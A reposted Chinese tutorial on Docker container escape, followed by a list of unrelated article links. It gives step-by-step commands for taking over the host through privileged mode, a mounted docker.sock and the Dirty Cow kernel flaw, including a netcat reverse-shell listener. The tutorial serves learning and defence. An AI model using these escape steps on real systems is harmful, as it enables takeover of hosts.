docker宿主机访问容器_干货来啦!带你初探Docker逃逸

2023-10-30

Docker是当今使用范围最广的开源容器技术之一,具有高效易用的优点。然而如果使用Docker时采取不当安全策略,则可能导致系统面临安全威胁。

本期安仔课堂,ISEC实验室的张老师将为大家介绍不同环境下,Docker逃逸至外部宿主机的情况。

一、配置特权模式时的逃逸情况

(一)--privileged(特权模式)

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令

具体步骤如下:

1.以特权模式运行一个容器:docker run -it --privileged ubuntu:14.04 /bin/bash

2.查看磁盘文件:fdisk -l

图1

3.此时查看/dev/路径会发现很多设备文件:ls /dev

图2

4.新建目录以备挂载:mkdir /abc

5.将/dev/sda1挂载至 /abc: mount /dev/sda1 /abc

6.最终我们可以通过访问容器内部的/abc路径来达到访问整个宿主机的目的:ls /abc

图3

7.尝试写文件到宿主机:echo 123 > /abc/home/botasky/escape2

图4

8.查看宿主机中的文件:ls /home/botasky/escape2

图5

(二)--cap-add与SYS_ADMIN

Linux内核自版本2.2起引入功能(capabilities)机制,打破了UNIX/LINUX操作系统中超级用户与普通用户的概念,允许普通用户执行超级用户权限方能运行的命令

截至Linux 3.0版本,Linux中共有38种capabilities。Docker容器默认限制为14个capabilities,管理员可以使用--cap-add和--cap-drop选项为容器精确配置capabilities

当容器使用特权模式启动时,将被赋予所有capabilities。此外,在--cap-add的诸多选项中,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,因此当容器以--cap-add=SYSADMIN启动时,也将面临威胁。

二、挂载配置不当时的逃逸情况

(一)危险的Docker.sock

众所周知,Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:

图6

其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。

本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统

因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。

具体步骤如下:

1.运行一个挂载/var/run/的容器:docker run -it -v /var/run/:/host/var/run/ ubuntu:14.04 /bin/bash

2.在容器内安装Docker作为client(此步骤可能需要更换源):apt-get install http://docker.io

3.查看宿主机Docker信息:docker -H unix:///host/var/run/docker.sock info

图7

4.运行一个新容器并挂载宿主机根路径:docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

可以看见@符号后的Docker ID已经发生变化:

图8

5.在新容器/aa路径下完成对宿主机资源的访问:ls /aa

图9

三、存在Dirty Cow漏洞时的逃逸情况

(一)脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件

(二)PoC&验证环境

GitHub上已有人提供了测试环境与PoC,我们可以通过以下命令获取。

图10

1. 运行验证容器:docker-compose run dirtycow /bin/bash

图11

2. 本地开启nc,进行观察(PoC中设置的反弹地址为本地的1234端口):nc -lvp 1234

3. 编译PoC并运行,等待shell反弹:make &./0xdeadbeef

通过ID命令,可以发现这个shell为root权限:

图12
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

docker宿主机访问容器_干货来啦!带你初探Docker逃逸 的相关文章

  • QT C++开发环境一键快速搭建

    QT C 开发环境一键快速搭建 很简单 只需下载QT creator 地址 http mirrors hust edu cn qtproject archive qt 5 1 5 1 1 qt windows opensource 5 1
  • 微信小程序:关于代码片段的探究

    打开微信开发者工具 在项目旁边有个代码片段的按钮 截图如下 微信官方文档介绍 https mp weixin qq com debug wxadoc dev devtools minicode html 什么是微信小程序的代码片段功能 代码
  • docker创建镜像之Dockerfile

    使用命令 docker build 从零开始来创建一个新的镜像 Dockerfile 是一个用来构建镜像的文本文件 文本内容包含了一条条构建镜像所需的指令和说明 参考 Docker 镜像使用 菜鸟教程 创建Dockerfile文件 runo
  • BigQuery基础查询语句整理

    BigQuery 是 Google Cloud Platform 上一种可以让用户以 SQL 语句来查询大规模数据的云服务 它可以让用户以低廉的价格 快速地访问大量数据 而不需要拥有自己的基础架构 BigQuery 支持多种数据格式 如 C
  • 利用PyTorch C++ API(LibTorch)加载预训练模型及预测

    利用PyTorch C API LibTorch 加载预训练模型及预测 前言 LibTorch是基于PyTorch的包含头文件 库文件和CMake编译 配置 文件的C API CMake编译配置文件并不是必须的 但官方推荐使用 且会持续维护
  • java开发工程师面试问题大全及答案大全

    前言 Alibaba作为国内互联网行业的 老大 一直以来也是很多 数码宝贝 梦寐以求的公司 我个人是做Java开发的 阿里这些年也开发了很多屌炸天的开源项目 像什么Spring Cloud Alibaba 开源Java诊断工具Arthas
  • Ubuntu18.04 安装 samba 服务器

    步骤一 直接使用命令 sudo apt get install samba 步骤二 检查下samba安装信息 使用命令 dpkg l grep i samba 步骤三 使用命令 来启动samba服务 etc init d smbd star
  • 【江苏省赛】C - Cats 找规律+模拟

    原题 输入1 1 输出1 1 输入2 3 输出2 1 2 3 题意 1 20的数字 两个相同数字不能相邻 且他们之间的最小值要严格小于它们 求长度为n的这样的序列 思路 大的插在现有的空中间 如下 1 2 1 2 3 2 3 1 3 2 3
  • 初探ROP

    文章目录 0x01 前言 0x02 什么是ROP 0x03 为什么要ROP 0x04 基本ROP ret2shellcode 含义 从原理中解析ret2shellcode 从例子中解析ret2shellcode 发现利用点 确定利用前提 调
  • 对比和消融实验

    对比实验 Comparative Experiment 和消融实验 Ablation Experiment 是在科学研究中常用的两种实验设计方法 用于评估和验证某个因素对研究结果的影响 对比实验是通过将不同的方法 模型或算法进行比较来评估它
  • Python统计分析库statsmodels的OLS

    statsmodels库官方文档http www statsmodels org stable 里面包含很多统计模型和相应计算结果 一些Linear Regression Models例子http www statsmodels org s
  • xssgame第一关至第五关

    第一关很简单 进入第二关 先尝试 查看页面源代码 可以利用闭合 答案截图 第三关 从源代码可以看到 lt gt 被转义了 所以选了几个不需要 lt gt 这个事件性的 第四关 将单引号换成双引号 第五关 第五关频频出现多余的下划线 只要sc
  • C语言-学生学号成绩读入程序(输出了学生总分、平均分、名次以及学生信息的查询)

    任务描述 成绩排名次 某班期末考试科目为数学 MT 英语 EN 和物理 PH 有最多不超过30人参加考试 考试后要求 1 计算每个学生的总分和平均分 2 按总分成绩由高到低排出成绩的名次 3 输出名次表 表格内包括学生编号 各科分数 总分和
  • 华为OD机试 - 垃圾短信识别(Java)

    题目描述 大众对垃圾短信深恶痛绝 希望能对垃圾短信发送者进行识别 为此 很多软件增加了垃圾短信的识别机制 经分析 发现正常用户的短信通常具备交互性 而垃圾短信往往都是大量单向的短信 按照如下规则进行垃圾短信识别 本题中 发送者A符合以下条件
  • android自带网页提供,Android调用系统自带浏览器打开网页的实现方法

    在Android中可以调用自带的浏览器 或者指定一个浏览器来打开一个链接 只需要传入一个uri 可以是链接地址 启动android默认浏览器 在Android程序中我们可以通过发送隐式Intent来启动系统默认的浏览器 如果手机本身安装了多
  • Acwing-42. 栈的压入、弹出序列

    每一步进行的操作有两种 将下一个数压入栈中 将当前栈顶元素弹出 判断当前栈顶元素是否和下一个要输出的数是一样的 一样 gt 必然会将当前栈顶元素弹出 不一样 gt 必然会将输入序列的下一个元素加入栈中 class Solution publ
  • 实战DeviceIoControl 之五:列举已安装的存储设备

    Q 前几次我们讨论的都是设备名比较清楚的情况 有了设备名 路径 就可以直接调用CreateFile打开设备 进行它所支持的I O操作了 如果事先并不能确切知道设备名 如何去访问设备呢 A访问设备必须用设备句柄 而得到设备句柄必须知道设备路径
  • tf.add()不只是简单相加

    tf add 大多数用法都是 单个数字和单个数字的简单相加 例如 import tensorflow as tf x tf constant 2 y tf constant 1 sess tf Session print sess run

随机推荐

  • Python中的【if __name__=='__main__':】

    1 Java和C 的程序入口 Java的程序入口Main函数 public static void Main string args 方法体 C 的程序入口Main函数 public static void Main string args
  • 业务数据分析——同环比(待补全)

    1 解决的问题 企业对公司人员贡献 离职 入职 招聘 人力成本等的统计和发现 与之前特定时期的数据对比 直观的感受数值变化 各方面的发展情况 从而对企业结构和投入等作出调整 同比说明本期发展水平与去年同期发展水平对比的相对发展速度 环比说明
  • echarts 修改图片(画布)大小

    一 问题 echarts 官网有很多 examples 可以直接在上面修改成自己想要的样子 链接 https echarts apache org examples 但是我发现这个不能改变整个图片的大小 也就是下载之后的大小 有时候布局不是
  • 【python学习笔记】Python对经纬度处理

    说明 因为地球是球面 所以地球平面间的距离也得根据球面来计算 连个问题 两经纬度点之间的距离 根据一个给定经纬度的点 进行附近若干距离地点查询 两点之间的距离 根据经纬度计算距离 def distance lon1 lat1 lon2 la
  • FEC原理及其实现

    感谢原作者 http blog csdn net rootusers article details 49097257 视频会议中通常使用的FEC QOS技术 这方面的资料比较复杂和稀少 根据这么多年的工作经验 做一下分享 在IP视频通话中
  • 编码方式

    NRZ编码 NRZ 是最简单的串行编码技术 用两个电压来代表两个二进制数 如高电平表示 1 低电平表示 0 NRZI编码 NRZI 则是用电平的一次翻转来表示 1 与前一个 NRZI 电平相同的电平表示 0 曼彻斯特编码 曼侧斯特编码将一个
  • (10)QJ_黑电平&AWB&CCM校正步骤&raw数据抓取

    1 设备准备 待校正主控 SENSOR 镜头 镜头盖 可抓raw版本 2 环境准备 图像室灯箱环境 24色卡 照度计 3 说明书准备 HiISP 颜色调优说明 图像质量调试工具使用指南 4 工具准备 PQTOOL 版本对应 插件齐全 Ima
  • 多语言版本 OPENFILENAME过滤器设置问题

    正常的时候 打开并选择一个文件这样写代码 char szFileName MAX PATH 0 OPENFILENAME ofn memset szFileName 0 MAX PATH memset ofn 0 sizeof ofn of
  • Mol Cell Proteomics.

    大家好 本周分享的是发表在Molecular Cellular Proteomics 上的一篇关于蛋白质组学样本质谱分析前处理方法改进的文章 题目是Protein aggregation capture on microparticles
  • Android Studio代码没有颜色区分的两个原因

    使用一段 Android Studio Electric Eel 2022 1 1 Patch 1 版本一段时间后 发现里面的代码没有了颜色提示 经查找 有两个原因 1 勾选了power save mode 这个时候只要点击File找到Po
  • CDN内容分发网络架构与四大关键技术

    转自 http lylhelin iteye com blog 811523 随着宽带网络 和宽带流媒体应用 的兴起 CDN 通常被称为内容分发网络Content distribution network 有时也被称作内容传递网络Conte
  • 实用的vue插件大汇总

    Vue是一个构建数据驱动的 web 界面的渐进式框架 Vue js 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件特别整理了常用的vue插件 来了个大汇总 方便查找使用 便于工作和学习 很全的vue插件汇总 赶紧收藏下
  • 判断点是否在多边形内部

    文章目录 1 使用matplotlib path库 2 使用shapely库 本文参考 文档1 文档2 有两种方法 将分别做出说明 1 使用matplotlib path库 步骤 创建多边形点 matplotlib path生成多边形路径
  • 内存优化-野指针优化

    空指针 有指向任何东 的指针 即 nil NULL 0 给空指针发送消息不会报错 野指针 C 语 声明 个指针变量 但是没有赋初始值 此时指针 指向 个垃圾值 即指向 块随机的内 存空间 OC语 指针所指的对象已经被释放 回收了 但是指针没
  • C++类和对象(三)之拷贝构造函数

    1 概念 构造函数 只有单个形参 该形参是对本类类型对象的引用 一般常用const修饰 在用已存在的类类型对象创建新对象时由编译器自动调用 2 特征 拷贝构造函数是构造函数的一个重载形式 拷贝构造函数的参数只有一个且必须使用引用传参 使用传
  • android多个跑马灯6,【Android】实现走马灯并可设置速度

    一 前言 使用TextView实现走马灯效果非常的简单 只需要在布局里添加一个如下的TextView android id id marquee android layout width match parent android layou
  • 三维模型3DTile格式轻量化压缩处理的数据质量提升方法分析

    三维模型3DTile格式轻量化压缩处理的数据质量提升方法分析 在处理三维模型3DTile格式的轻量化压缩时 如何在减少数据量的同时 保证或提升数据质量是一大挑战 以下为一些提升数据质量的方法分析 改进几何简化算法 在进行几何简化时 除了考虑
  • os.environ[‘CUDA_VISIBLE_DEVICES‘]指定GPU后,还是用的“0“卡

    背景 实验室服务器有多张显卡 但今天 0 卡显存已被占满 因此我在代码中添加os environ CUDA VISIBLE DEVICES 2 指定使用编号为 2 的显卡 显存够的前提下 但跑VGG16的时候却报错 经过调试发现os env
  • 【tvm官网教程】张量表达与调度

    tvm官网教程 张量表达与调度 目的 1 调度原语 1 1 te常用接口 1 2 tvm常用接口 1 3 stage常用成员函数 2 内置函数与数学函数 2 1 直接声明外部数学调用 2 2 统一内置函数调用 2 3 内置函数下降规则 3
  • docker宿主机访问容器_干货来啦!带你初探Docker逃逸

    Docker是当今使用范围最广的开源容器技术之一 具有高效易用的优点 然而如果使用Docker时采取不当安全策略 则可能导致系统面临安全威胁 本期安仔课堂 ISEC实验室的张老师将为大家介绍不同环境下 Docker逃逸至外部宿主机的情况 一